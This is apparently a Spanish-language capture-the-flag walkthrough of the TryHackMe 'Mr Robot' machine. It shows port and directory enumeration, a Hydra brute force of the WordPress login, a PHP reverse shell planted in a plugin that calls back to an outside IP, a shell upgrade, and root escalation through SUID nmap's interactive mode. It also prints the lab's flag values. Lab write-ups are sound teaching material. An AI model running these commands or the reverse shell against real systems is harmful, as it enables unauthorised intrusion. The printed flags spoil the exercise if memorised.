TryHackMe

Mr Robot CTF



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap

Lo primero que vemos es que el puerto 22 tiene el servicio ssh pero está cerrado.

También podemos observar que en el puerto 80 hay un servicio http y en el puerto 443 un servicio https

❯ nmap 10.10.0.164
Nmap scan report for 10.10.0.164
PORT      STATE    SERVICE
22/tcp    closed   ssh
80/tcp    open     http  
443/tcp   open     https 

Una vez que hemos comprovado que existe una página web, vamos a utilizar la herramienta dirb que nos ayudará a escanearla para descubrir nuevos ficheros y directorios existentes.


> dirb http://10.10.0.164
---- Scanning URL: http://10.10.0.164/ ----
==> DIRECTORY: http://10.10.0.164/0/
==> DIRECTORY: http://10.10.0.164/admin/
==> DIRECTORY: http://10.10.0.164/dashboard
==> DIRECTORY: http://10.10.0.164/login
==> DIRECTORY: http://10.10.0.164/robots
==> DIRECTORY: http://10.10.0.164/video
==> DIRECTORY: http://10.10.0.164/license 

Hemos encontrado varios directorios que parecen interesantes y que nos pueden ayudar a saber por dónde seguir, vamos a inspeccionarlos.

Directorio atom


Al acceder a este directorio se nos descarga un archivo con formato .atom, en el, sólo encontramos el código de la página Wordpress aunque nos da algo de información útil como la versión de este: 4.3.1


Directorio login


Se nos redirige automáticamente al directorio "/wp-login.php", este nos será de gran ayuda para poder acceder a la administración de la web si conseguimos las credenciales necesarias.


Directorio robots


Una vez cargado el directorio este nos muestra el contenido del archivo robots.txt, realmente este archivo lo tendríamos que comprobar siempre, independientemente de si una herramienta de análisis nos lo muestra ya que suele estar en todas las páginas webs y en el se especifican directorios y archivos que no se desean indexar.

¡Sorpresa! Parece que hemos encontrado la primera key además de lo que parece ser un diccionario que contiene valores que podrían actuar como nombres de usuario y/o contraseñas.

10.10.0.164/key-1-of-3.txt 
073403c8a58a1f80d943455fb30724b9

10.10.0.164/fsocity.dic 


Brute Force con Hydra


Ahora vamos a volver de nuevo al directorio /wp-login.php probamos diferentes usuarios y contraseñas comunes para ver si hay suerte como admin:admin pero nada, lo que si podemos apreciar es que Wordpress nos muestra un mensaje de error cuando introducimos un usuario que no existe.

Esto es algo que podemos aprovechar mediante el uso de la herramienta Hydra con ella podremos realizar un ataque de fuerza bruta haciendo que vaya descartando nombres de usuarios cada vez que se de el mensaje de error esperado.

Antes de empezar tendremos que hacer uso del programa Burp Suite para capturar la cabecera del mensaje http que se envía a la web en el momento de hacer login, esta tendremos que añadirla dentro del comando Hydra

Una vez capturada, cogeremos sólo el siguiente fragmento log=admin&pwd=2141 y lo modificaremos de la siguiente forma: log=^USER^&pwd=^PWD^

> sudo hydra -L /root/fsocity.dic -p 1234 10.10.0.164 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username -t 30
[DATA] attacking http-post-form://10.10.0.164:80/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username
[80][http-post-form] host: 10.10.0.164  login: Elliot  password: 1234

Vemos que el usuario Elliot ha sido verificado, a continuación vamos a probarlo en el login.

Vaya, parece que efectivamente el usuario existe y podemos ver que el mensaje de error esta vez es diferente. A continuación vamos a volver a lanzar el comando Hydrapero adaptándolo al nuevo usuario y al nuevo mensaje.

> sudo hydra -l Elliot -P /root/fsocity.dic 10.10.0.164 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered -t 30
[DATA] attacking http-post-form://10.10.0.164:80/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username
[80][http-post-form] host: 10.10.0.164  login: Elliot  password: ER28-0652

Vamos a probar las credenciales Elliot:ER28-0652 en el login y accederemos al panel de control Wordpress de la página web.

Antes de seguir me gustaría hacer un pequeño paréntesis para explicar las diferentes opciones usadas anteriormente al lanzar los comandos con la herramienta Hydra

--> -l Para utilizar un nombre de usuario estático
--> -L Para pasarle un diccionario al programa para que lo recorra probando usuarios
--> -p Para utilizar una contraseña estática
--> -P Para pasarle un diccionario al programa para que lo recorra probando contraseñas
--> ^USER^ Especificamos en que parte de la cabecera el programa tendrá que meter los nombres de usuario a probar
--> ^PWD^ Especificamos en que parte de la cabecera el programa tendrá que meter las contraseñas a probar


Reverse Shell en PHP


Después de hacer un barrido general por el menú de Wordpress, lo que más llama la atención es que tenemos accesso al editor de código con el que podríamos inyectar código a la web para vulnerarla. Al tener accesso a todos los plugins podemos intentar spawnear una reverse shell a través de la inyección de código malicioso en un plugin que use php.

En este caso el elegido ha sido el plugin Hello Dolly al cual tenemos acceso y funciona con php.

Iremos al editor y borraremos su código original dejándolo de la siguiente forma:

 >?php $sock=fsockopen("10.11.44.18",4444); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

Antes de activar el plugin tenemos que poner el puerto indicado en el script en modo escucha para ello usaremos la herramienta pwncat de la siguiente forma:

> pwncat --listen 4444

Una vez preparados activamos el plugin y habremos conseguido spawnear la reverse shell.

> pwncat --listen 4444
/bin/sh: 0: can't access tty; job control turned off
$whoami
daemon
$

Hemos obtenido la reverse shell pero es una shell no interactiva para poder trabajar en ella de manera más cómoda y eficiente vamos a proceder a upgradearla con los siguientes comandos:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color

$python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ export TERM=screen-256color

Ahora ya podemos proseguir con la búsqueda, vamos a ver que usuarios hay en el sistema y que podemos encontrar en sus directorios personales.

daemon@linux:/etc$ cd /home
cd /home
daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot
daemon@linux:/home/robot$ ls
key-2-of-3.txt  password.raw-md5

¡Vaya! Parece que hemos encontrado la key2, el único problema es que para ver el contenido del archivo .txt nos pide una contraseña ya que ahora mismo estamos actuando desde el daemon y no tenemos ningún tipo de permisos. Una vez visto el contenido del archivo md5 procederemos a desencriptar el hash y a acceder al usuario robot.

daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

robot@linux:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959


Escalada de privilegios


Después de un rato registrando diferentes directorios del sistema no hemos podido encontrar más pistas, así que vamos a intentar hacer una escalada de privilegios para ver si desde el usuario root podemos encontrar algo. Buscaremos todos los archivos que tengan el bit SUID activado, el bit de setuid, cuando se establece, permite que el archivo (usualmente un programa ejecutable) se ejecute con los permisos del propietario del archivo en lugar de los permisos del usuario que lo ejecuta. Esto puede ser un problema de seguridad si el archivo pertenece al usuario root.

Vamos a utilizar el siguiente comando find / -perm -u=s -type f 2>/dev/null este se utiliza comúnmente en la fase de exploración de una evaluación de seguridad, para identificar programas que podrían ser explotados para escalar privilegios.

robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/mount
/bin/ping6
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap
robot@linux:~$ ls -la /usr/local/bin/nmap
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap

Decidimos hacer la escalada a través de la herramienta nmap para ello consultamos la página web GTFOBins en la cual podemos encontrar diferentes maneras de eludir restricciones de seguridad locales en sistemas mal configurados a través de programas.

Comprobamos que efectivamente nmap se encuentra dentro de este grupo de programas vulnerables.

robot@linux:~$ /usr/local/bin/nmap --version
nmap version 3.81 ( http://www.insecure.org/nmap/ )

Pretendemos spawnear una shell interactiva a través de la ejecución de nmap y al estar haciéndolo como root tomaremos su identidad dentro de la nueva shell.

Identificamos que la versión de nmap 3.81 está dentro del rango susceptible a violaciones de seguridad mediante el spawneo de shells interactivas así que vamos a ello.

robot@linux:~$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h enter for help
nmap> !sh
# whoami
root
#

¡Voilà! Nos hemos convertido root, ahora tenemos acceso completo al sistema. Lo primero que haremos es acceder a la carpeta root para ver que encontramos dentro.

# ls
key-2-of-3.txt  password.raw-md5
# cd ..
# ls
robot
# cd ..
# cd root
# ls
firstboot_done  key-3-of-3.txt
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4